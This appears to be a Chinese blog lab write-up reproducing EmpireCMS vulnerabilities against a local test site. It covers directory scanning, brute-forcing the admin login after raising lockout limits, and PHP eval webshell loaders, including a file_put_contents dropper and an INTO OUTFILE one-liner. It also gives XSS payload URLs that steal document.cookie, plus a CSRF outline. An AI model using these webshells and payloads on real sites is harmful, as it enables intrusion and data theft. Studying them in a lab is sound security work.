EmpireCMS4

通过站长之家,进行ip地址查询具体信息,可以看到这是私人的ip地址,并且是自己集成的靶场环境。
image.png

可以从各种途径上获取搭建网站所使用的脚本、类型、框架等信息,获取有关他们存在的漏洞信息
image.png

扫描后台敏感目录(dirsearch工具和御剑工具)

image.png
image.png
通过爆破网站目录可以看到一个非常有用的信息:EmpireCMS/robots.txt,这个文件是禁止爬虫的,这里面存放的全是网站的敏感信息,不妨试试
image.png
由此推进,访问/e/config这个目录,它一般是存放和配置文件有关的信息的,当我们尝试访问后可以发现,第一个是网站的主目录,第二个是网站的存储数据库等信息的文件
image.png
访问配置文件是空白,网站肯定是做了什么过滤,那么这里面的内容应该很重要
image.png
但是我们可以看到重要的信息,比如网站后台有关的admin目录都没有显示出来,从而推断EmpireCMS/e这个目录很敏感,就再次尝试对它目录扫描,然后几乎全部的敏感目录都爆出来了(状态码200的能够访问)
通过尝试,终于发现后台路径!(如果想知道更多目录内的信息还需要重复此类操作,不过在浪费这些时间之前,我们还是要一步步的来,拿到网站webshell为主)
后台界面
image.png
御剑爆破结果
image.png
随便输入的账户admin和密码123456,网页显示(没有注意后台错误5次限制登录,最主要的是有密保问题,如果设置了,还得另想办法。先按照正常的流程测试)
image.png
那么没办法,只能从两个payload选择集束炸弹模式
image.png
选择常用的字典进行爆破之后,从反馈的页面的发现,弱口令爆破是行不通的
image.png
解决方案:
①更改配置文件( /e/config/config.php)
image.png
loginnum :5,错误次数
logintime :60,锁定时间
②使用ip代理池(谨慎使用)
③社工手段
本题中选择更改配置文件绕过
则顺利爆破登录成功
image.png
成功登录网站后台!
image.png
点击网站的后台能够查到网站数据库信息
image.png
我们的一个目的已经达成

浏览器语法使用

site 指定域名
**inurl url中存在关键字的网页 **
**filetype 指定文件类型 **
**info 查找指定站点的基本信息 **

备案信息查询

网站底部有icp等内容,可以称为获取对方公司和法人的信息(手机号,微信号,邮箱等)
image.png

指纹识别

whatweb时kali当中的一款工具,可以更清楚的知道网站中可以为自己所用的信息
image.png

更改参数信息

参数设置页面,限制了很多可以文件上传的后缀名,很多可以上传文件的位置都做了严格的过滤,倘若更改限制后缀名那么相信木马文件也可以轻松上传
image.png

通过以上的信息收集,可以获取到对方搭建网站的脚本信息并由此去互联网上寻找到开源的漏洞信息,对方使用的是何种服务器,根据ip所在地可以查询到对方住址等,最后黑进对方后台可以看到对方数据库的信息,想辙将其导出,便可以获取到本网站的用户的重要信息等。

二、漏洞探测

设计工具:
端口扫描:nmap
敏感目录扫描:dirsearch,御剑
ip属地查询:站长之家,fofa等网页工具
网络抓包工具、弱口令爆破工具:Burpsuite
蚁剑:拿取网站webshell
火狐浏览器插件Wappalyzer:获取网站的数据库、框架、编程语言、操作系统等信息
SQLmap:对涉及含有sql注入的url进行扫描

**

三、漏洞利用,获取webshell

(一)代码执行

后台获取getshell
系统–》广利数据表–》导入数据表

image.png
本地准备一个1.php并改名为1.php.mod,用$进行转义,存放的数据表名需要填一个数据库内没有的表名(随便都行)

<?php file_put_contents("shell.php","<?php @eval(\$\_POST['SHELL']); ?>");?>

#file\_put\_contents() 函数:创建并写入一个新文件
file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )
参数						描述
filename				必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。
data						必需。规定要写入文件的数据。可以是字符串、数组或数据流。
flags						可选。规定如何打开/写入文件。可能的值:
											FILE_USE_INCLUDE_PATH
											FILE_APPEND
											LOCK_EX
context					可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。

image.png
image.png
Snipaste_2023-05-28_15-11-48.jpg
尝试访问文件所在路径,用hackbar访问,可以看到出现PHP版本信息,那么证明此文件是被上传到服务器的了,最后可以进行蚁剑连接,拿取shell
image.png
蚁剑连接成功
image.png
此时可以遍历目录
image.png

这题用到代码审计
更改文件后缀和修改MIME以及增加文件头绕过方法都是行不通的,会出现下边的空白页面
image.png

获取shell
系统–》备份数据–》选择任意–》开始备份

简介:未对数据库表名做验证,通过修改数据库表名可以实现任意代码
漏洞位置:EmpireCMS/e/admin/ebak/phome.php
image.png
抓包修改tablename为phpinfo
image.png
image.png
放包后可以查看到php版本信息
image.png
下载下来观察里面的文件信息
image.png
readme.txt是没有什么重要信息的
image.png
而config.php当中含有写入的phpinfo()
image.png
浏览此文件所在的路径,看看会出现是否是PHP版本信息的页面,修改配置文件readme.txt改为config.php
image.png
这样是无法连接蚁剑的,尝试将tablename后改为一句话木马
Snipaste_2023-05-28_17-06-45.jpg
当放包之后会出现表不存在等问题,不过不影响
image.png
hackbar后
image.png
同上的操作(或者也可以不执行这步,可以从链接当中知道文件的所在路径)
image.png
image.png
目录遍历,shell拿到了
image.png

代码注入获取shell

select … into outfile语句写入php一句话木马

select '<?php @eval($\_POST[LEOGG])?>' into outfile 'C:/phpStudy/PHPTutorial/WWW/EmpireCMS/e/admin/1.php'

出现下面这种错误明显是不能够成功的,它限制数据库的导入跟导出,判断secure_file_priv = NULL,所以当实战中出现在这种情况下是不能够用这种方法
image.png
添加上这句语句在做尝试
image.png
显示无法写入文件
image.png
漏洞复现文章出处:https://blog.csdn.net/m0_60716947/article/details/128354934

后台拿SHELL
模板–》公告模板–》JS调用登录模板

在此位置插入一句话木马,最终
image.png
源码当中的一句话木马已经被写入,证明肯定时写入到文件里面了
image.png
链接蚁剑,拿取shell
image.png
image.png
遍历目录
image.png

获取shell
栏目–》自定义页面–》管理自定义页面处可以写下getshell

image.png
成功在网站根目录写入webshell
image.png
连接蚁剑

image.png
目录遍历
image.png

(二)CSRF(跨站请求伪造)

1.在会员中心页面点击修改密码时抓包
image.png
image.png
image.png
将上述的html代码,编写成脚本放到phpstudy下的www目录
image.png
image.png

(三)XSS(跨站脚本攻击)

A、反射型:

通过目录扫描,我们可以知道很多存在漏洞的网页

1.漏洞代码位置:EmpireCMS/e/ViewImg/index.html

可以先创建栏目信息
image.png
然后点击图片
image.png
漏洞页面
image.png
#漏洞原理:url地址经过Request函数处理之后,
把url地址中的参数和值部分直接拼接当作a标签的href属性的值和img标签的src标签的值
代码分析

if(Request("url")!=0){
	document.write(
"<a title=\"点击观看完整的图片...\" href=\""+Request("url")+"\" target=\"\_blank\">
<img src=\""+Request("url")+"\" border=0 
class=\"picborder\" onmousewheel=\"return bbimg(this)\" 
οnlοad=\"if(this.width>screen.width-500)this.style.width=screen.width-500;\">");

分析代码:通过window.location获取当前url地址,根据传入的url参数,获取当前参数的起始位置和结束位置。
代码没有对url的参数做过滤就直接拼接成a和img标签的属性的值,因此可以构造payload:? ?url=javascript:alert(/xss/)

例如,地址是:index.html?url=javascript:alert(document.cookie),经过Request函数处理就变成javascript:alert(document.cookie)
构造payload:

http://192.168.200.16/EmpireCMS/e/ViewImg/index.html?url=javascript:alert(document.cookie)

image.png
点击图片可以触发cookie,但是此漏洞我没有复现成功,是在控制器当中输入的javascript:alert(document.cookie)的指令
漏洞存在的文件是在/e/ViewImg/index.html。
分析代码:通过window.location获取当前url地址,根据传入的url参数,获取当前参数的起始位置和结束位置。

代码没有对url的参数做过滤就直接拼接成a和img标签的属性的值,因此可以构造payload:? ?url=javascript:alert(/xss/)

例如,地址是:index.html?url=javascript:alert(document.cookie),经过Request函数处理就变成javascript:alert(document.cookie)

image.png

案例:<script>alert(cmd)</script>

2.软件作者栏目,软件简介栏目两处存在跨站脚本攻击漏洞,前台此连接处显示漏洞

image.png
image.png
图片内的栏目信息全部都含有如上图的xss漏洞
image.png

3.京股票验证国内新闻栏目含有XSS漏洞,并且需要创建信的栏目才可以实现

image.png
image.png
image.png

4.信息栏目处,几乎每一个大栏目下的都含有XSS漏洞

image.png
image.png

5.经验证,在栏目信息下的所有大的栏目下都含有前台显示的XSS漏洞

image.png
image.png

6.再次处,插入几条xss语句就会显示几个弹窗,在SQL名称处含有一处XSS

image.png

B、存储型
1.漏洞出现的页面在/e/admin/openpage/AdminPage.php

源码:
image.png
访问显示页面非法来源
image.png
构造发现依然无效

http://192.168.200.16/empirecms/e/admin/openpage/AdminPage.php?mainfile=javascript:alert('xss')

别的页面url地址中都会存在hash参数,例如ehash_k3gQY=XJ8adxjZ1pt0wTdqmKO6,参数是随机生成的,如果缺少这个参数,会提示非法来源(都要使用)
重新构造payload,有效!

http://192.168.200.16/empirecms/e/admin/openpage/AdminPage.php?ehash\_k3gQY=XJ8adxjZ1pt0wTdqmKO6&mainfile=javascript:alert('xss')

image.png
mainfile参数:获取cookie

http://192.168.200.16/empirecms/e/admin/openpage/AdminPage.php?ehash\_k3gQY=XJ8adxjZ1pt0wTdqmKO6&mainfile=javascript:alert(document.cookie)

image.png
leftfile参数

http://192.168.200.16/EmpireCMS/e/admin/openpage/AdminPage.php?ehash\_xAg67=sKjkNY3V9KKhz7rFcbRC&leftfile=javascript:alert('xss')

image.png
而title参数,是无法显示出来页面信息的

http://192.168.200.16/EmpireCMS/e/admin/openpage/AdminPage.php?ehash\_xAg67=sKjkNY3V9KKhz7rFcbRC&title=javascript:alert(%27xss%27)

image.png
image.png

2.栏目–》管理栏目
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值